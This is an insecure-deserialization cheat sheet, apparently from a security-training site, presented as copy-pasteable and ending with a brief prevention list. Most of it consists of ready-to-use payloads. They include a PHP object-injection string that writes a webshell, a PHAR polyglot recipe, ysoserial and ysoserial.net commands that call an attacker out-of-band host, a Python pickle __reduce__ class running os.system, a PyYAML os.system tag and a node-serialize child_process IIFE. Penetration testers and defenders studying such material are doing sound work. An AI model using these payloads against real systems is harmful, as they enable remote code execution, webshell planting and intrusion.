Insecure Deserialization: From Serialized Blob to Remote Code Execution
Insecure Deserialization Cheat Sheet
A dense, copy-pasteable deserialization reference: format signatures, PHP object injection, phar, ysoserial, pickle, node, detection, and prevention.
Published
Every deserialization payload in one place. The core move never changes: get the target to rebuild an attacker-chosen object, and let its lifecycle code reach a sink. For the how and why behind each section, start at the insecure deserialization guide. Lock it in on a free live target.
Format signatures (what to look for on the wire)
| Language | Looks like | Notes |
|---|---|---|
| PHP | O:4:"User":2:{s:4:"name";...} | O:=object, a:=array, s:=string, length-prefixed |
| Java | base64 rO0AB · raw AC ED 00 05 | magic 0xACED, stream version 0x0005 |
| .NET | __VIEWSTATE=... · base64 AAEAAAD | BinaryFormatter header, ViewState may be MAC-protected |
| Python pickle | opcodes \x80\x04, \x93, R, . | \x93=global (proto 4), c=global (proto 0), R=reduce, .=stop |
| Ruby (Marshal) | base64 commonly BAh | raw \x04\x08 version header |
| Node (node-serialize, rare) | a JSON field holding _$$ND_FUNC$$_function(){...}() | abandoned library, IIFE trick in serialized functions |
PHP object injection
// A gadget class the app already loads:
class Logger {
public $logfile = 'app.log';
public $data = '';
public function __destruct() { // runs automatically at end of life
file_put_contents($this->logfile, $this->data); // attacker-controlled sink
}
}# Hand-crafted payload (write a webshell). Lengths are BYTE-EXACT or unserialize() fails:
O:6:"Logger":2:{s:7:"logfile";s:23:"/var/www/html/shell.php";s:4:"data";s:26:"<?php system($_GET[0]); ?>";}
# Tamper an existing object (privilege flip):
O:4:"User":2:{s:4:"name";s:3:"bob";s:7:"isAdmin";b:1;}
__wakeup()fires onunserialize();__destruct()fires at destruction. Both are prime triggers. Count everys:<n>byte length exactly. Private props mangle to\x00Class\x00prop, protected to\x00*\x00prop.
PHAR trick (deserialize with no unserialize() call)
phar://uploaded.gif/anything PHP <= 7.4: any filesystem function taking a stream wrapper
(file_exists, fopen, getimagesize, md5_file, is_file...)
deserializes the PHAR's metadata object.
PHP 8.0+: only an explicit Phar::getMetadata() call does.
Polyglot: valid image header (GIF89a) + __HALT_COMPILER() stub + serialized POP in metadata.Java (ysoserial)
# list available gadget chains
java -jar ysoserial.jar
# Commons Collections chain, base64 for a cookie
java -jar ysoserial.jar CommonsCollections5 'curl http://attacker.oast' | base64 -w0
# chains to try by classpath:
# CommonsCollections1..7, CommonsBeanutils1, Spring1/2, Hibernate1, ROME, Jdk7u21
# URLDNS proves deserialization via a DNS lookup with no gadget library.
# Confirm blind with an OOB pingback or a sleep/time delay..NET (ysoserial.net / viewgen)
# ViewState when the machine key is known
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "ping attacker.oast" \
--generator=<hex value> --validationkey=<KEY> --validationalg=HMACSHA256 --path="/page.aspx" --apppath="/"
# raw BinaryFormatter gadget
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "ping attacker.oast" -o base64
# JSON.NET with TypeNameHandling != None is injectable via a $type property.
# viewgen is the lightweight alternative for crafting/validating ViewState.Python pickle (__reduce__ RCE)
import pickle, base64, os
class RCE:
def __reduce__(self):
# (callable, args) -> callable(*args) runs during unpickling
return (os.system, ('id > /tmp/pwn',))
print(base64.b64encode(pickle.dumps(RCE())).decode())
# Send where the app calls pickle.loads() on your input (session, cache, queue).# YAML cousin (modern PyYAML): the object tag only fires with an UNSAFE loader.
!!python/object/apply:os.system ["id"]
yaml.unsafe_load(data) # fires (RCE)
yaml.load(data, Loader=yaml.Loader) # fires (RCE)
yaml.load(data) # 5.1+ FullLoader (5.1-5.3.0 bypassable, CVE-2020-1747; safe 5.3.1+); 6.0 needs a Loader
yaml.safe_load(data) # safeNode (node-serialize) IIFE
A serialized value containing the node-serialize function trick:
_$$ND_FUNC$$_function(){ require('child_process').exec('id',()=>{}); }()
delivered as a JSON string field that unserialize() turns back into a called function.Detection inputs (where to look / what to poke)
Carriers: cookies, hidden form fields, query/body params, headers, API payloads,
message-queue bodies, cache entries.
Confirm: flip one byte -> 500/parse error means the server deserializes it.
For Java/.NET, send a tiny valid object first, then the gadget.
Blind targets: OOB (DNS/HTTP pingback) or timing to confirm RCE.Prevention
- Do not deserialize untrusted data. The only complete fix.
- Prefer simple formats (JSON, Protobuf) with no polymorphic typing. Disable
TypeNameHandling, avoidyaml.load/unsafe_load, avoidpickleon external input. - Integrity-protect serialized data you round-trip: sign (HMAC) or encrypt and verify before parsing.
- Allow-list classes (Java
ObjectInputFilter, PHPunserializeallowed_classes). - Patch gadget-prone libraries and remove unused ones from the classpath.
- Least privilege + isolation so a successful RCE is contained.
Full detail in preventing insecure deserialization. For another route to RCE, see server-side template injection.
← Back to Insecure Deserialization: From Serialized Blob to Remote Code Execution